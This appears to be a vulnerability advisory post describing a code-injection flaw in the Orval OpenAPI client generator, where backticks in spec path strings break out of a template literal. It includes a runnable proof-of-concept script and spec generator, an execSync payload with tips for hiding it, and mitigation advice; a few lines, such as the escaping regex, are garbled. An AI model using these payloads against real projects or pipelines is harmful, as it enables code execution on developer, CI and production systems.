Listen to this Post
Orval is a popular OpenAPI client generator that produces strongly-typed HTTP clients for frameworks like axios, fetch, react-query, and swr. During generation, it takes the path string from the OpenAPI specification (e.g., /users/{id}) and embeds it directly into a JavaScript template literal—specifically as return `/users/...` —to construct the final request URL. This emission happens without any sanitization or escaping of the backtick character (`) or the `${` sequence, even though the path is treated as a string literal in the generated code. If an attacker can control or influence the OpenAPI description that Orval consumes, they can insert a backtick into any path field. When Orval generates the client code, that backtick prematurely terminates the template literal, turning the remaining path content into a plain JavaScript concatenation expression. Because the injection occurs inside a template literal that is later used in a function body, the injected code becomes part of the runtime logic. Specifically, an expression like `+ (globalThis.X = require(“fs”).writeFileSync(“/marker”,”pwned”)) + ` inserted after the backtick executes as a live statement when the generated URL builder, request function, or query-key function is called. Orval’s default OpenAPI validation does not reject or escape backtick characters in paths, so this injection survives the generation pipeline. The attack does not rely on any of the previously published CVEs (CVE-2026-22785, CVE-2026-23947, CVE-2026-25141, CVE-2026-24132) because those address different fields (summary, x-enumDescriptions, const) and different sinks (MCP server, mock files) — this one targets the route path itself and the request-URL template literal. The vulnerability is verified on Orval 8.19.0, and the injected code executes with the privileges of the process that calls the generated client, which can be a developer’s build machine, a CI pipeline, or the production application if it dynamically loads external OpenAPI specs. A trailing backtick in the payload reopens the template literal so the generated file remains syntactically valid, preventing compilation errors that would otherwise reveal the injection. This makes the attack stealthy and reliably exploitable across all supported client generators (axios, fetch, react-query, swr). The only prerequisite is that an attacker-provided OpenAPI JSON/YAML reaches Orval’s generator, either through a compromised registry, a supply-chain attack, or a user-controlled upload feature in an application that uses Orval to regenerate clients on the fly.
DailyCVE Form:
Platform: Orval 8.19.0
Version: 8.19.0
Vulnerability: Code Injection
Severity: Critical
date: 2026-09-04
Prediction: Early Q4 2026
What Undercode Say:
reproduce.sh
!/bin/bash
python3 make_spec.py > spec.json
npx orval --input spec.json --output generated
node -e "const { getUsers } = require('./generated'); getUsers();"
verify marker
ls -la /marker
make_spec.py
import json
spec = {
"openapi": "3.0.0",
"paths": {
"/users/<code>+ (globalThis.X = require('fs').writeFileSync('/marker','pwned')) +</code>/list": {
"get": {"responses": {"200": {"description": "OK"}}}
}
}
}
print(json.dumps(spec))
manual client call (fetch client)
const client = require('./generated');
client.getUsersList() // triggers file write
Exploit: (Educational Purposes!)
Craft an OpenAPI spec where any path string contains a backtick followed by malicious JavaScript, then a trailing backtick. For example, `/users/` + (require(‘child_process’).execSync(‘calc’)) + /list. Supply this spec to Orval via --input. Once generated, invoke any request function (e.g., `useGetUsers()` in react-query or `client.getUsersList()` in fetch) — the injected expression executes immediately. To hide the payload, use `globalThis` or `process.env` to store and run arbitrary commands. The trailing backtick ensures the generated file remains valid JavaScript: return `/users/` + (code) + `/list`;.
Protection: from this CVE
Escape all backtick (`) and `${` characters in the OpenAPI path before emitting into the template literal. Use String.prototype.replace(//g, ‘\') and replace `${` with `\${` in the generator’s URL builder. Alternatively, construct the URL using a dedicated encoder (e.g., new URL(path, base)) that treats the path as pure data rather than embedding it directly into a template literal. Validate all path characters against a whitelist of allowed URL-safe characters (alphanumeric, /, -, _, ., ~) and reject any spec containing backticks, dollar-brace, or other expression-delimiting sequences. Apply these fixes upstream in Orval’s codebase and patch any existing generated clients by re-generating them with the updated version.
Impact:
Remote code execution (RCE) in any environment that invokes a client generated from an attacker-influenced OpenAPI description. Attack vectors include supply-chain attacks (malicious spec in npm packages), CI/CD poisoning (compromised spec files in repositories), and server-side applications that dynamically fetch and regenerate clients from untrusted OpenAPI sources. The attacker executes arbitrary OS commands with the same permissions as the calling process — affecting developer workstations, build servers, and production backends. No user interaction is required beyond the generation and subsequent call of the generated function.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
